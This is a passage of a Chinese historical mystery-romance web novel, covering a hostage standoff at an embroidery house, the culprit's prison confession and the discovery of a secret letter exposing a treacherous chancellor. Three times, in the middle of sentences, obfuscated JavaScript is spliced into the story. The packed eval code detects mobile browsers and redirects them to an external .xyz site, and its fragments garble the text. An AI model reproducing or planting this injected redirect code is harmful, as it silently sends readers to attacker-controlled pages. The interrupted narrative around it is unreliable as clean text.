“乾旦！五尺……”苏彦清喃喃念叨着信上字，心下又想起卢顺的话：“先闻其声，再见其人。” 苏彦清修长的手指轻轻敲击着桌面，“莫非那句话是马三自己喊的？”，他忽然眼中精光一闪。立刻唤来陈聘：“去，找人查查京城所有售卖渔具的铺子，尤其是近月内，有无一个身形瘦削、肤色白皙、说话带点尖细尾音、可能还带着点戏班做派的男子购买过鱼线！重点是，问清楚他买的鱼线，原本长度是多少！” “是。那茹姑娘的事——？” “不用再查了。苏彦清将一旁的户帖掷还陈聘。 “是。””陈聘领命而去。 苏彦清摩挲着信笺，他心中已有计较：若那马三真是用这鱼线行凶，只需截取几寸即可，那么，他当初购买的鱼线，很可能不止五尺！他又端详着两边的字迹，心里五味杂陈。 果然，未过晌午，差役便带着一个渔具铺的老板刘二匆匆赶回。 “大人！找到了！”差役禀报，“这位是西市‘渔悦轩’的刘老板，他说确有这么个人，特征都对得上！” 刘二是个老实巴交的生意人，有些紧张地搓着手：“回……回大人，是……是有这么一位客官，小的印象很深。他那模样气质，跟咱们这行当的粗人实在不像，说话也……也细声细气的。他隔三差五会来小店买些鱼线鱼钩，每次都是买六尺！不多不少，就是六尺！小的还问过他，为啥总买六尺，他说……说六六大顺，图个吉利。”刘二努力回忆着，“对，就是六尺！错不了！” 苏彦清霍然起身，眼神锐利如刀锋。他拿起吴昭音送来的那张信笺，又看向刘二。 “六尺……而他处藏匿的鱼线，仅剩五尺……”苏彦清的声音陡然低沉，“果然少了一尺！不好！他们有危险！” “大人放心，我们已经派人盯着席春阁了，眼下你该回苏府了。”陈聘提醒道。 “好。来人，将刘老板送回去。”苏彦清目光转向陈聘，“我先回一趟苏府。席春阁那边，你亲自去盯。”话音未落，他袍风一卷，已疾步出了大理寺。 34. 绣坊暗影 夜色如墨，沉沉地笼罩着席春阁。自从花掌柜遇害昏迷后，每日夜里，整个楼阁便笼罩在一片死寂之中。 一更梆子声沉闷地穿透夜色，远远传来。 一个黑影，利用楼阁的阴影和复杂回廊的掩护，悄无声息地摸到了花蓉卧房的后窗。他动作极其轻巧熟练地撬开窗栓，狸猫般滑入室内，落地无声。 他脸上蒙着黑巾，只露出一双布满血丝而又疲惫的眼睛。他死死盯着花蓉，一步步逼近床边，眼中既忧郁，又冷漠。他伸出修长的手，毫不犹豫地抓过旁边一个软枕，高高举起，就要朝着花蓉的口鼻狠狠捂下去！ “吱呀——” 忽然，房门被轻轻推开。连枝小心翼翼地端着一碗刚煎好的药汤，低着头走了进来，嘴里还打着哈欠：“好困啊……”她抬起头，目光触及床前那个举着软枕、杀气腾腾的黑影时，整个人如同被雷击中般僵住了！ “啊——！”一声短促的尖叫卡在喉咙里，药碗“哐当”一声脱手摔在地上，滚烫的药汁四溅，浓烈的药味瞬间充斥了整个房间。 马三也被这突如其来的变故惊得浑身一震！他猛地回头，对上连枝那双因极度恐惧而睁大的眼睛。四目相对的瞬间，连枝认出了那双眼睛——即使蒙着面，朝夕相处的熟悉感让她瞬间确认了来人的身份！ “三……三哥？”连枝的声音充满了难以置信的颤抖和破碎的绝望，“你……你要做什么？！” 她眸中惊惧倏然褪尽，唯余一片失望——那马夫平日虽寡言，然秉性温厚，早得她一缕情思萦绕，岂料此刻，眼前这狰狞景象，顿叫所有绮念尽化飞灰。 马三眼中也闪过一丝复杂，他一个箭步上前，在连枝再次尖叫出声前，一把捂住了她的嘴，同时用有力的胳膊死死箍住了她的脖颈，将她拖离了门口。“闭嘴！别出声！”他压低声音，凶狠地在她耳边警告，声音嘶哑，带着浓重的戾气。 他本想将连枝先捆起来塞进马房，再去解决花蓉。然而，就在他拖着挣扎呜咽的连枝寻找绳索时，门外走廊传来了急促而清晰的脚步声，伴随着一个清脆焦急的女声：“连枝？你怎么了？是药洒了吗？” 马三的心猛地一沉！他挟持着连枝猛地转身，背靠着墙壁，将连枝死死挡在自己身前作为盾牌，锋利的匕首瞬间出鞘，冰冷地抵在了连枝纤细的脖颈上！一丝血线立刻沁了出来。 “站住！别进来！否则，我立刻杀了她！”马三对着门口厉声道。 吴昭音的身影出现在门口，看到房内景象，瞳孔骤缩。她一眼就认出了马三，更看清了他眼中疯狂的杀意和抵在连枝颈间的寒刃。她的心瞬间提到了嗓子眼，“马三！放开连枝！你知道你在做什么吗？花掌柜已经重伤至此，连枝只是个无辜的姑娘，她对你……” “少废话！”马三粗暴地打断她，匕首又逼近一分，连枝痛得闷哼一声，眼泪流得更凶，“退后！让开门口！” 吴昭音深吸一口气，非但没有退后，反而摊开双手又向前迈了一小步：“好，好，马三，你看看连枝，她一直在哭，她很害怕。你忍心吗？我知道你本意并非想伤害她。”她语速放缓，“这样僵持下去不是办法。衙役很快会听到动静赶来，你插翅难飞。不如……我们做个交易。” 马三警惕地盯着她：“什么交易？” “我，来换连枝。”吴昭音声若击玉，字字清晰，“放了她，我过来，做你的人质。我懂医术，更知那绣品百鸟——那绣品实际上出自我手。我比她更有价值，挟我在手，你更有脱身之机。”她一边说，一边不动声色地将右手悄悄缩回袖中，指尖触碰到藏在袖袋里的一个小瓷瓶。 马三眼神闪烁，“你……你当真肯换？”马三狐疑地问。 “当然。”吴昭音眼神坦荡，“你让连枝慢慢走过来，我同时向你走过去。你总不会惧怕我一个弱女子吧？” 时间紧迫，由不得马三多想。他咬了咬牙：“好！你别耍花样！”他稍微松开了些箍住连枝的手臂，但仍用匕首紧贴着她，“你，慢慢走过去！” 连枝泪眼婆娑地看向吴昭音，拼命摇头，眼神里满是阻止。吴昭音却对她投去一个坚定而安抚的眼神。 两人开始缓慢地移动。连枝颤抖着，一步一挪地离开马三的控制范围，走向房间中央。吴昭音也同时迈步，一步一步走向马三。她的心跳如擂鼓，所有的注意力都集中在右手和与马三的距离上。昏灯摇曳，将吴昭音与挟持连枝的马三身影拉长。五步……四步……三步……就是现在！ 吴昭音眼中厉色一闪！就在连枝即将脱离马三控制的瞬间，她一直隐藏在袖中的右手猛地抽出，那只紧握着迷药瓷瓶的手，带着破空的风声，以迅雷不及掩耳之势朝着马三的面门狠狠一扬！细密的白色粉末如同致命的毒雾，瞬间弥漫开来！ “哼！”马三竟似早有防备，就在吴昭音手腕扬起的千钧一发之际，他伸手猛地拉回走远了的连枝，又将其反扣，另一只手闪电般捂住了自己的口鼻！他甚至还下意识地侧身、闭眼，将头微微后仰，动作一气呵成！ 白色的药粉簌簌落下，大部分扑了个空，只有少许沾染在他紧闭的眼皮和捂住口鼻的手背上。 “敢耍花样！”马三伸腿用力一踢，吴昭音不受控制地向前扑倒，重重摔在地上，尘土和药粉混合着呛入口鼻，令她咳出声来。她挣扎着想要爬起，但马三沾着迷药的靴底已经重重踩在了她的后腰上，巨大的力量将她死死压制在地！ “再动就都死！”马三厉吼，杀意沸腾。 “马三！给我住手！” 一声清越而威严的断喝，如同划破黑暗的惊雷，骤然在门口炸响！ 苏彦清高大的身影出现在门口，在他身后，还紧跟着一个满面泪痕的妇人。妇人怀中，紧紧搂着一个约吓得小脸煞白的小男孩。 马三闻声，瞬间僵住，如遭电击，难以置信地看向门口。当他的目光触及那母子时，瞳孔骤然放大——惊愕、喜悦、恐惧、羞愧…… “婉儿……婉儿？！小宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763218|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？！你们……你们怎么会……”马三喉头滚动，声音里是滔天巨浪般的震骇与不敢置信。他手中的匕首“当啷”一声掉落在地，滚了几滚，停在吴昭音眼前。 “三郎！”那妇人早已泣不成声，“快……快放了那姑娘！苏大人……苏大人是咱们的恩人啊！要不是苏大人……我们娘俩……我们娘俩早就……”她哽咽着说不下去，只是将怀里的孩子搂得更紧。那孩子也仿佛认出了父亲，怯生生地、带着浓重哭腔，带着哭腔喊了一声：“爹爹么？” 这一声稚嫩的“爹爹”，如同世间最锋利的剑，瞬间刺穿了马三所有的伪装和凶狠。他张开双臂，踉跄着向前扑去，由于绊到了吴昭音，他一个趔趄跪倒在母子俩跟前：“小宝。是爹爹。” 一家三口在昏暗摇曳、弥漫着血腥与药味的烛光下，紧紧相拥！ 腰间的力量消失，吴昭音闷哼一声，趁着这空档，强忍着腰背的剧痛，奋力挣扎着想要爬起。就在她狼狈撑起半边身子时，一双沉稳有力的手及时扶住了她的肩膀和手臂。 是苏彦清。 他不知何时已迅速上前，一手扶住踉跄脱险、惊魂未定的连枝交给随后冲进来的衙役，另一只手则稳稳地将吴昭音从冰冷的地上拉了起来。 “没事了。”他的声音低沉而清晰，带着一种奇异的安抚力量，在吴昭音耳边响起。 吴昭音被他半扶半抱地揽在身前，两人靠得极近。劫后余生的心脏在胸腔内疯狂擂动，隔着衣料，彼此的心跳清晰可闻。吴昭音呼吸紊乱，脸颊不受控制地发烫，耳中嗡嗡作响。 苏彦清的目光在吴昭音身上逡巡，欲察伤势又恐唐突。指尖悬在半空，终只柔声道：“可……可伤着了？”他喉结微动，耳根悄然染上一抹薄红。然而，就在他的视线不经意间掠过她的面颊时，动作几不可察地微微一顿。 吴昭音脸颊上的那处胎记在白日里看起来呈月牙状，颜色泛紫。可现在……那胎记的颜色，竟然变淡了许多！粉得近乎透明，轮廓也有些模糊，仿佛被水洗过褪色一般，几乎要融入她白皙的肌肤里。并且，他似乎隐隐约约地又嗅到了那股熟悉的凤仙花香。 苏彦清的眸色骤然深了一瞬，一丝难以言喻的惊疑如同冰冷的丝线，瞬间缠绕上心头。他扶住吴昭音的手，下意识地收紧了几分，目光却迅速从那胎记上移开，重新落回那抱头痛哭的一家三口，以及被衙役控制住的马三身上。 屋内哭声、喘息与衙役低喝声交织一片，被惊醒的绣娘们也纷纷围拢了过来。苏彦清面颊发热，当即将吴昭音轻轻推给至近旁的绣娘搀扶，自己则上前一步，高大的身影挡住了摇曳的烛光，声音恢复了惯常的沉稳与威严： “拿下马三。带下去，好生看管。”他的目光扫过那对仍在哭泣的母子，语气稍稍缓和，“将这位夫人和孩子也请下去，妥善安置。” 这场混乱的局面，如此便被迅速控制住了，但苏彦清心底那抹因胎记消淡而生的疑窦，却如石坠寒潭，悄漾开一圈无声的涟漪。 35. 百鸟朝凤 大理寺监牢深处，石壁上的火把费力地跳跃着，将行人的影子扭曲地投在湿冷的墙面上。 苏彦清走在最前，步履沉稳，身后跟着三个人影：蒙着面纱的吴昭音和马三的妻子婉儿，婉儿怀里还抱着熟睡的小宝。 甬道尽头，是一间单独的囚室。粗大的木栅栏后面，一个男人蜷缩在角落的草堆上，正是马三。听到脚步声由远及近，他猛地抬起头，忧郁的眼睛在看到婉儿和她怀里的孩子时，骤然爆发出光亮来，他挣扎着想扑到栅栏前，手腕上的铁链哗啦作响：“婉……婉儿？小宝？他们……他们没把你们怎么样吧？” “三郎！”婉儿扑到栅栏前，泪水汹涌而出，声音哽咽道：“没事，我们没事！苏大人心善，把我们娘俩接到他府上安置了，有吃有住，安全得很！大人是好人！你……你……”她急切地把怀里的孩子往上托了托，让孩子熟睡的脸庞更清晰地映在火光下，“你看，宝儿好好的！大人说，只要你把知道的都说出来，他一定会秉公处理，给我们一条生路！三郎，你千万要信大人！”她的话语混乱却斩钉截铁。 马三布满血丝的眼睛盯着孩子安宁的睡脸，又猛地转向苏彦清。他喉头滚动，他双膝一软，重重跪倒在冰冷的地面上：“我说……我全说……我是……是严相……安插在京城的细作之一，那卢知年和严相本就是一丘之貉，姓严的要我配合卢管家……除掉花掌柜……” 监牢的空气骤然变得令人窒息的沉重。 “那天……卢管家在与花掌柜交接绣品之际，趁其不备用重物敲晕了她……”马三的声音干涩而颤抖，“我的活儿……是模仿花掌柜的声音，假装送客……为卢家脱罪。”他痛苦地闭上眼，复又睁开，里面是浓得化不开的恐惧，“可……可我发现……发现花掌柜她……还有气息！若她醒过来，严卢两家都不会放过我……和他们娘俩。” “所以你就动手了？”吴昭音声音冷冽，马三垂头不语。 “随身带着鱼线？如此趁手，莫非不是头一遭作案？”苏彦清的语气重带着一丝不容置疑的压迫。 “不！不是！”马三猛地抬头，激烈地否认，铁链哗啦作响，“大人明鉴！小人……小人擅长的……是用毒！不过，我也从来没……没真的害人性命！”他急切地辩解，“那鱼线……是……是小人最近得了个古旧的暗器匣图纸，里面有个‘绷线’的机关，小人就想试试……那天正好截了一段揣在怀里……”他颓然垂下头，声音低了下去，带着一丝不易察觉的挣扎，“可是，我实在下不去死手……正……正踌躇的时候，听到外头长廊好像有脚步声……我赶紧把沾了血的鱼线拿起来用火折子烧了……然后……然后才假意跑出去送卢顺……” 苏彦清沉默地审视着他，良久，他才缓缓开口：“他们为何要除掉花掌柜？” 马三茫然地摇头，额上渗出冷汗：“小……小人不知。只隐约听卢管家提过一句……说花掌柜手里有件要命的绣品，必须拿回来毁掉……严相爷那边催得紧……”他努力回忆着，忽然像是想起了什么，目光下意识地飘向栅栏外的吴昭音，“对了！茹姑娘也说知道这绣品！她还说那东西就是她绣的！” “唰！” 所有目光，瞬间聚焦在吴昭音身上。吴昭音没有躲闪，迎着苏彦清略带审视与好奇的目光，清晰而平静地开口：“不错。是花掌柜托我绣的，就是一幅‘百鸟朝凤’。她叮嘱我，此事非同小可，绝不能对任何人提起。” “百鸟朝凤？！”苏彦清闻言，眉头拧成了结。 “大人如何？”吴昭音不禁问道。 苏彦清目光一沉，缓缓道：“无妨。只是想起自新帝登基后立下的规矩：除帝后之外，擅用凤纹者，以僭越论处，甚至可判抄家灭族。” “啊——”众人倒抽一口凉气，这才心下了然。 苏彦清眼底翻涌着复杂的思虑，他踱开一步，手指无意识地敲击着冰冷的石壁，发出笃笃的轻响。“百鸟朝凤……怕人知晓……”他沉吟着，“既然藏着掖着，未必是要送到宫里去的。”他猛地停住脚步，脑中一道电光闪过，“户部侍郎卢知年，近半年来借着严相推行的“军费核录法”，四处罗织罪名，打压良将，这次暗杀花蓉又不知打的什么鬼主意。” “核录法’是什么？”吴昭音好奇道。 苏彦清看着吴昭音那双清澈见底的杏眼，温声解释：“名义上是核实战时的军费开支，严查贪墨，为国库节流。实则是严相以清查战时钱粮支出为幌子，行排除异己、构陷忠良之实！那些在边关浴血、不依附他们的将官，战时支取的钱粮，都被他们颠倒黑白，指为贪赃！那些被污蔑的将士们或是被罢官流放，家破人亡，或是锒铛入狱，屈死牢中！边关因此更加将才凋零，门户洞开。”他说到最后，每一个字都像是从牙缝里挤出来，带着冰冷的恨意。 “下狱……迫害致死……”吴昭音喃喃重复着，脸色在摇曳的火光下显得更加苍白：“那……泗水安抚使刘熙尧刘大人可也是如此？” 苏彦清眼底闪过惊讶之色：“姑娘还认得他？他……”苏彦清顿了顿道：“刘安抚使……不堪受辱，已举兵抵抗朝廷了。” “啊？……”吴昭音情不自禁地感叹出声。 “唉！如今外敌虎视眈眈，而庙堂之上，却仍在党同伐异，内忧外患，陛下为此雷霆震怒。”他顿了顿，语气更加沉重，“卢知年不过是严相门下一条急于表功的恶犬，狐假虎威，作威作福。倘若陛下他日要清算，其罪责首当其冲，第一个被拿来问罪的必定是他！” 吴昭音静静地听着，火光在她眼中跳跃，像是两簇幽暗的火焰。她微眯双眼，忽然开口道：“那严相自诩为一人之下，万人之上，显然卢知年对此心知肚明。他会不会铤而走险，试图以进献“百鸟朝凤”来换取庇护，逃避罪责？” “有可能，不过——有些愚蠢。”苏彦清嘴角泛起一丝冷笑，“如今这把火，早已烧穿户部的屋顶，直逼相府门庭！事态之烈，怕是严相自己都难以脱身了。一幅僭越的绣品？杯水车薪，不仅救不了他卢知年的命，恐怕还会殃及严相。” 他的目光重新落回马三身上，肃声道：“马三，你虽未最终酿成大错，花掌柜侥幸未死，但你助纣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763219|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为虐，其行可诛！念在你悬崖勒马，尚未铸成无可挽回之错，又迷途知返，供出主使……”他顿了顿，目光扫过婉儿怀中沉睡的孩子，语气稍缓，“眼下放你出去，外面危机四伏，恐有灭口之祸。你便暂时羁押在此，权作惩戒，亦为保全。待风浪稍平，时机成熟，本官自会设法，让你一家三口团聚。” 马三涕泪横流，挣扎着不顾铁链哗啦作响，冲着苏彦清的方向，“咚咚咚”连磕了三个响头，额角瞬间青紫一片。“谢大人！谢大人再造之恩！小人……小人来世做牛做马……” “谢大人！谢大人天恩！”婉儿抱着孩子，也扑通一声跪倒在地，泣不成声，对着苏彦清连连叩首。 苏彦清被这阵势弄得一怔，目光下意识落在婉儿怀中熟睡的孩子身上。他连忙抬手虚按，示意众人噤声，唯恐惊醒了孩子，夫妻两个这才生生将嘴边的话咽了回去。 苏彦清朝甬道尽头打了个手势，两名一直肃立在阴影里的衙役立刻无声地走上前来，他沉声道：“起来吧。好生看顾孩子。”转头又对衙役吩咐道：“送他们母子回府，务必确保安全。” 衙役躬身领命，小心翼翼地搀扶起母子。婉儿抱着小宝跟马三依依惜别，最终一步三回头地消失在幽暗的甬道深处。 “茹姑娘。”马三的一声轻唤将二人的思绪拉了回来，他隔着栅栏递上一个缠丝铃铛，一脸平静道：“这……是连枝硬塞给我的。怕她胡闹，我只得带着。她是个好姑娘，好妹妹，劳烦茹姑娘替我开解她几句……” “嗯。”吴昭音望了他一眼，默默地接过铃铛，转身对苏彦清道：“大人，我们走吧。” 方才四人行的甬道，如今只剩下苏彦清和吴昭音，气氛一时有些微妙的凝滞。 “近日之事，多亏姑娘相助。”苏彦清打破了沉默，灯笼的光晕恰好落在他微弯的眼角，声音温和了些许。 吴昭音垂眸应道：“大人言重了。”指尖却无意地绞着裙角的流苏。 行至门外，苏彦清停下脚步，朗声道：“不知可否请姑娘移步？略备薄酒，以表谢意”。说话时，他的目光不由自主地轻轻掠过，最终停驻在那层面纱之下隐约可见的脸颊上。自从那晚，“胎记…会褪色么？”这个疑惑便如同藤蔓，时时缠绕着他的思绪。 吴昭音飞快地抬起眼帘，瞥了苏彦清一眼，又迅速垂下，声音带着刻意的疏离和一丝不易察觉的慌乱：“大人言重了。民女……民女不敢叨扰。花掌柜重伤昏迷，绣坊也还需人照看，离不得人。民女……这就告辞了。”她说完，不等苏彦清再开口，便匆匆福了一礼，转身朝着牢门的方向快步走去。她又何曾不想与他举杯邀月呢，只可惜自己身陷囹圄，不得自由。 苏彦清慢悠悠地跟了出来，深邃的目光紧紧追随着那个纤细而略显仓促的背影，看着她浅绿的裙摆扫过潮湿的石阶、掠过朱红的门柱，拂过光滑的门槛。 “字迹、香气……胎记……胎记……”他喃喃自语地穿过一道月洞门，迎面便撞上了正提着一个陈旧木箱、匆匆走过的余晖。 “余晖！”苏彦清出声唤道。 36. 夜寻密信 余晖停下脚步，有些诧异地看着神色凝重的苏彦卿：“大人？您这是……？” 苏彦清默默走到余晖面前站定，低声道：“这世间……可有什么东西，能染在人的皮肉之上，仿出……仿出胎记之效？并且……难以褪去？” 余晖被他问得一愣：“染皮肉？做胎记？”他挠了挠后脑勺，黑白分明的眼睛里闪过一丝了然，“大人问的……可是能长久附色于肌肤之物？若是短时，朱砂、胭脂皆可。但若求其形似天然，且能维持一段时日……倒是有一物。”他顿了顿，看着苏彦清专注的眼神，缓缓道，“榉树之皮。取其汁液，涂抹于肌肤之上，干涸后便牢牢附着，形如陈旧疤痕或胎记。寻常水洗不易褪去，需以烈酒或特制药油反复擦拭，方能去除。” “榉树皮汁……”苏彦清低声重复着，自顾自地往前走去，似乎已听不见身后余晖的呼唤。 另一边，走出大理寺的吴昭音刚转过茶肆转角，一只枯树枝般的手突然从阴影里伸出来，五指关节凸起如老树皮。吴昭音下意识退后半步，才看清那是个缩在墙根的老乞丐，鹑衣百结的棉絮从破洞处钻出来，在风里微微颤动。 "好心人，赏口饭吃吧......"老乞丐垂着头，声音沙哑。 吴昭音迟疑片刻，从袖中摸出几枚铜钱。铜钱落入乞丐掌心时，她瞥见那只手虽枯瘦，指腹却带着常年握物的薄茧，不似寻常乞丐那般绵软。 "多谢姑娘......"老乞丐佝偻着背连连作揖，铜钱在他掌心叮当作响。吴昭音点点头，转身欲走，却听见身后传来拖沓的脚步声。她心头一紧，快走几步，那脚步声竟也随之加急，苍老的喘息声如影随形，在渐渐沉下来的暮色里显得格外突兀。 她拐进一条卖油纸伞的窄巷，青瓦白墙间挂着各色伞面，雨前的潮气混着桐油香扑面而来。眼角余光里，那个灰扑扑的身影依旧不远不近地跟着，破烂的草鞋在石板路上拖出细碎的声响，吴昭音慢悠悠地拔下头上的珍珠簪。 她骤然停步，旋身，后背紧贴住冰凉湿滑的砖墙，厉声喝道：“拿了钱还跟着，究竟是何居心？” 老乞丐被她的动作惊得后退半步，浑浊的眼睛里闪过一丝慌乱，随即又被某种复杂的情绪取代。他张了张嘴，喉结滚动着，终于出声道：“小姐，是老奴啊，我可总算找着你了…… 吴昭音的心跳骤然漏了一拍，她眯起眼睛，借着巷口透进来的微光仔细打量眼前的人——乱发下露出的眉骨，下巴那粒不起眼的痣...... "穆......穆爷爷？"她的声音带着一丝颤抖和惊讶，惊飞了墙根的几只春燕。 “小姐……是我，是我老穆啊……”穆管家热泪盈眶涕，挣扎着想站起，枯瘦的身子却因激动而剧烈颤抖。吴昭音慌忙抢上一步，双手用力搀住那嶙峋的臂膀。 "您近来......还好吗？"吴昭音扶着穆管家走出窄巷。 “我啊借住在城郊王药农家，他是老奴年轻时的把兄弟。"忽然，穆管家警惕地环顾四周，压低声音道：“老奴近日想起一桩要紧事，想着务必要告诉小姐。其实……那奸人倒还有一把柄，仍握在咱们府里。” “把柄？”吴昭音满是疑惑，“您是说他害死……” 穆管家摇摇头，打断道，“老爷启程岭南那日，天未亮，他悄悄将老奴唤至书房后窗下。那时节，风声鹤唳，府外全是那人的耳目！老爷只匆匆言道，府中……藏有一封密函，关乎生死！道是若天不绝吴氏，或可凭此……稍掣肘那奸相一二。他言未尽意，便被催行的差役喝断……” “那密函何在？”她声音发颤，指甲几乎掐进掌心。 “就在府里！老爷未曾明言，只道是‘灯下黑’之处。”穆管家双眸发亮，“小姐，天赐良机！自那大理寺寺丞在咱们宅子里被苏少卿拿下，那看守吴宅的人手竟撤走了！老奴这些日子一直在暗中盯着，至少近日是安全的。事不宜迟，我们今晚便动身？” “好。嗯?寺丞被抓?” “小姐还不知道吗？自你走后总有人在咱宅子内外周旋，说来也怪，有天晚上，那寺丞大人也偷偷来了，苏大人将其抓了起来打了八十板子，你猜是啥罪名?”见小姐迷惑地摇头，他继续道：“擅闯民宅、偷盗财物。” “哦?！” “老奴也是惊奇，我们明明未曾在宅子里留下银子。不过，那寺丞因有严相这个靠山，也只是被贬到京城外了……” 半日后，夜凉如水，弯月躲在云层后，只洒下些许朦胧的光。吴昭音从席春阁溜出来跟着穆管家穿行在回吴宅的小巷里，脚下的石板路坑坑洼洼，两旁的民居大多已熄了灯，只有偶尔几声犬吠划破寂静。忽然，吴昭音脚步微顿，忧色浮上眉梢：“穆爷爷，那日我忽然仓促躲藏，不知珠儿那丫头……如今流落何处？” 穆管家闻言，脸上沟壑般的皱纹竟舒展了些许，浑浊的眼中透出一点温和的光芒：“小姐莫忧！这段时间，老奴与她一直暗中联系。那晚事发后，她先是去找了余晖那小子，后来不知怎的又被苏少卿大人收留了，如今就暂居在苏府之中。” “苏大人？”吴昭音眉头微动。 “正是！”穆管家语气里带着由衷的赞许，“这位少卿大人年纪虽轻，却行事沉稳，颇有担当。此番能揪出那为非作歹的寺丞，还多亏了他。”他说着，像是突然想起了什么，浑浊的目光带着探询转向吴昭音，“对了小姐，那晚……您是如何脱险的？莫非……您早已察觉严相的人手在暗中盯梢？” 她停下脚步，望向远处沉沉的夜幕，仿佛又看到了相府那森严的高墙，闻到那令人作呕的熏香…………一股寒意从脊椎直冲头顶，让她不由自主地打了个寒颤。良久，才从齿间缓缓溢出一声叹息：“……算是吧。” 穆管家熟稔地引着吴昭音绕到西侧后墙，后墙内倚着一棵丈把高的老槐树。"小姐，踩着老奴的肩膀上去。"穆管家蹲下身，拍了拍自己的后背。 吴昭音有些犹豫，穆管家已是花甲之年，怎经得住她的重量。但看着他坚定的眼神，她终究还是咬着牙踩了上去。 两人进了宅子后，在书房里翻了个把时辰，却一无所获。 “灯下黑……”吴小心思索着。 “小姐，您想想，老爷常在何处读书至深夜？何处……是他最觉安稳、最不引人注目的地方？” 祖父的形象瞬间在吴昭音脑海中鲜明起来。那个永远脊背挺直、眉宇间带着书卷气的长者，深夜……灯下……她猛地抬头，目光穿透眼前的破败狼藉，投向书房深处那张巨大的紫檀木书案。案上早已积满厚尘，案脚甚至被白蚁蛀空了一角。她清晰地记得，无数个夜晚，祖父就是坐在这张书案后，就着一盏跳跃的油灯，批阅公文，或摩挲心爱的古砚。 “书案！”吴昭音脱口而出，声音带着一丝不易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763220|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉的颤抖。她几乎是扑了过去，不顾飞扬的尘土呛入口鼻，跪倒在冰冷坚硬的地砖上，伸手用力去摸索那张巨大书案的底面。 指尖传来紫檀木特有的温润凉意，也沾满了厚重的灰尘和蛛网。她一寸寸地摸索着，心脏在胸腔里狂跳。穆管家也凑过来，枯瘦的手指在另一侧急切地探寻。 就在她手臂酸痛，心一寸寸沉入谷底之际，指尖忽然触到一丝极其细微的异样！在案底靠近中间一根横枨的转角处，有一小块地方的触感，似乎比周围更光滑方正。她屏住呼吸，指甲用力抠刮掉覆盖其上的陈年污垢，一个极其隐蔽的、与木纹几乎融为一体的方形暗格轮廓，终于显现出来！ “在这里！”她的声音激动得变了调。穆管家立刻递上一根带着锈迹的粗铁钉，吴昭音颤抖着用铁钉尖端小心翼翼地去撬那暗格的边缘。终于，伴随着“咔哒”一声极其轻微的脆响，一小块薄薄的、边缘被虫蛀蚀的木片被撬开了！ 暗格内，静静地躺着一卷用油布仔细包裹、再用细麻绳捆扎得严严实实的东西。 吴昭音颤抖着双手，如同捧着易碎的琉璃，将那油布包裹取出。解开麻绳，剥开因岁月侵蚀而变得硬脆的油布，里面是一封折叠整齐的信笺。信纸是上好的熟宣，虽已泛黄，但字迹依旧清晰如刀刻。 她借着从屋顶破洞漏下的一缕微弱月光，急切地读下去。开篇不过是寻常的自白，然而随着目光下移，字里行间陡然掀起的惊涛骇浪，瞬间将她吞噬： “……安抚使严甫申求功心切，竟剑走偏锋，然吾实难苟同！……吾亲闻，彼竟密遣心腹，持其亲笔手书与金珠重宝，径往敌营，求见其酋首。信中卑辞厚礼，竟许以中原称臣纳贡之诺……时敌军本已军心浮动，得此密约，正中下怀。遂与我军心照不宣，各自偃旗收兵……孰料严公背信弃义，趁其拔营后撤之际，亲率精骑突袭其后队！屠戮其断后疲弱之卒数百，以此冒称‘大捷’……陛下不察，龙颜大悦，加封少师卫国公，兼枢密使，权倾朝野……此等欺君叛国、以万千将士性命与国朝尊严为踏脚石之行径，天理昭昭，岂能久容？然吾自身难保，被贬岭南……此信为证，若吾身遭不测，望后来者持此密函，揭此巨奸，以正乾坤！” 信末，是祖父吴淙言的亲署和一方鲜红的私印。 每一个字都像烧红的烙铁，狠狠烫在吴昭音的心上！原来那个被奉为国之柱石的严相竟然是用通敌叛国的密约，用万千将士之血，用国之尊严，堆砌起来的谎言！ 吴昭音双膝一软，几欲晕厥。穆管家枯瘦的手慌忙扶住她摇摇欲坠的肩膀，那微弱的力量如同风中残烛，丝毫无法驱散她周身透骨的冰寒。 "欺君罔上，通敌卖国......"她齿关紧咬，只觉得一股寒气从脚底直窜上天灵盖。难怪严相如此忌惮言官，难怪他极力打压主战派，原来他的军功竟是用称臣纳贡换来的耻辱！ 月光惨淡，透过屋顶巨大的破洞，像一道冰冷的探照灯柱，直直打在她惨白如纸的脸上，也照亮了信笺上那力透纸背、宛如控诉血书的字迹。那字迹在眼前扭曲、放大，最终化为祖父书房那日被抄家官兵粗暴撞开的门扉，化为祖父和父亲离世时那漫天飞卷的白色…… 她猛地抬起头，默默地将密函重新裹好，贴身藏在衣襟里，冰凉的宣纸贴着心脏，让她混沌的思绪渐渐清晰起来，“从明日起，咱搬回吴宅。” “啊……” 37. 暗香惊鸿 翌日，晨光熹微。 